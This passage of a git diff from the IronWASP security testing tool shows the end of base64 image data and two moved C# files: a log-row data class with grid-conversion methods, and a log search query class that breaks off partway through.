AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + a63vrv3MJo7vLgA+BIwEblFKzQQu11q/5PumBEGoj1LqtcDngcOADwPXAXdHfbarTif7An8ZdOlZ4FJg + FjBfogJByA7W2+8KfBf4ErCVbRoA9tFa3xD1va5hOrwW2K+maS1wBzAD+LXWepnvmxeETkUp9Qbgixhv + vwuwUc1H/gjsr7WO/H7XMJ3vC/y5zueeB34DzARudv2IIAjxYZ3znpiX/nPA6xwfHQA+prW+0dXXcAIA + Jgr4eAN23YWJCuZqrZ/0/ZAEIW8opbYHvop58d/XwFf+ABxQzzF3DdeDUmofzFzAsJ+1vAxUMWJwg9a6 + 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 + + + \ No newline at end of file diff --git a/IronWASP/LogRow.cs b/Iron/LogRow.cs similarity index 97% rename from IronWASP/LogRow.cs rename to Iron/LogRow.cs index af27872..2bb8a76 100644 --- a/IronWASP/LogRow.cs +++ b/Iron/LogRow.cs @@ -1,115 +1,115 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class LogRow - { - public int ID = 0; - public int ScanID = 0; - public bool SSL = false; - public bool Marked = false; - public bool BinaryRequest = false; - public string Host = ""; - public string Method = ""; - public string Url = ""; - public string File = ""; - public string Parameters = ""; - public int Code = 0; - public int Length = 0; - public bool BinaryResponse = false; - public string Mime = ""; - public bool SetCookie = false; - public bool Editied = false; - public string Notes = ""; - public int RoundTrip = 0; - internal string OriginalRequestHeaders = ""; - internal string Source = ""; - - internal object[] ToProxyGridRowObjectArray() - { - if (this.Code > -1) - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie, this.Editied, this.Notes }; - } - else - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false, this.Editied, "" }; - } - } - internal object[] ToTestGridRowObjectArray() - { - if (this.Code > -1) - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; - } - else - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; - } - } - internal object[] ToShellGridRowObjectArray() - { - if (this.Code > -1) - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; - } - else - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; - } - } - internal object[] ToScanGridRowObjectArray() - { - if (this.Code > -1) - { - return new object[] { this.ID, this.ScanID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; - } - else - { - return new object[] { this.ID, this.ScanID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; - } - } - internal object[] ToProbeGridRowObjectArray() - { - if (this.Code > -1) - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; - } - else - { - return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; - } - } - internal object[] ToLogAnalyzerGridRowObjectArray() - { - if (this.Code > -1) - { - return new object[] { false, this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie, this.Notes }; - } - else - { - return new object[] { false, this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false, "" }; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class LogRow + { + public int ID = 0; + public int ScanID = 0; + public bool SSL = false; + public bool Marked = false; + public bool BinaryRequest = false; + public string Host = ""; + public string Method = ""; + public string Url = ""; + public string File = ""; + public string Parameters = ""; + public int Code = 0; + public int Length = 0; + public bool BinaryResponse = false; + public string Mime = ""; + public bool SetCookie = false; + public bool Editied = false; + public string Notes = ""; + public int RoundTrip = 0; + internal string OriginalRequestHeaders = ""; + internal string Source = ""; + + internal object[] ToProxyGridRowObjectArray() + { + if (this.Code > -1) + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie, this.Editied, this.Notes }; + } + else + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false, this.Editied, "" }; + } + } + internal object[] ToTestGridRowObjectArray() + { + if (this.Code > -1) + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; + } + else + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; + } + } + internal object[] ToShellGridRowObjectArray() + { + if (this.Code > -1) + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; + } + else + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; + } + } + internal object[] ToScanGridRowObjectArray() + { + if (this.Code > -1) + { + return new object[] { this.ID, this.ScanID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; + } + else + { + return new object[] { this.ID, this.ScanID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; + } + } + internal object[] ToProbeGridRowObjectArray() + { + if (this.Code > -1) + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie }; + } + else + { + return new object[] { this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false }; + } + } + internal object[] ToLogAnalyzerGridRowObjectArray() + { + if (this.Code > -1) + { + return new object[] { false, this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, this.Code, this.Length, this.Mime, this.SetCookie, this.Notes }; + } + else + { + return new object[] { false, this.ID, this.Host, this.Method, this.Url, this.File, this.SSL, this.Parameters, null, null, "", false, "" }; + } + } + } +} diff --git a/IronWASP/LogSearchQuery.cs b/Iron/LogSearchQuery.cs similarity index 97% rename from IronWASP/LogSearchQuery.cs rename to Iron/LogSearchQuery.cs index 420a2d7..ac4f0eb 100644 --- a/IronWASP/LogSearchQuery.cs +++ b/Iron/LogSearchQuery.cs @@ -1,58 +1,58 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - class LogSearchQuery - { - internal string LogSource = ""; - - internal int MinLogId = -1; - internal int MaxLogId = -1; - - internal List LogIds = new List(); - - internal int ScanLogId = -1; - - internal string Keyword = ""; - internal bool SearchRequestHeaders = false; - internal bool SearchResponseHeaders = false; - internal bool SearchRequestBody = false; - internal bool SearchResponseBody = false; - - internal string UrlMatchString = ""; - internal int UrlMatchMode = 0; - - internal List MethodsToIgnore = new List(); - internal List MethodsToCheck = new List(); - - internal List CodesToIgnore = new List(); - internal List CodesToCheck = new List(); - - internal List HostNamesToIgnore = new List(); - internal List HostNamesToCheck = new List(); - - internal List FileExtensionsToIgnore = new List(); - internal List FileExtensionsToCheck = new List(); - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + class LogSearchQuery + { + internal string LogSource = ""; + + internal int MinLogId = -1; + internal int MaxLogId = -1; + + internal List LogIds = new List(); + + internal int 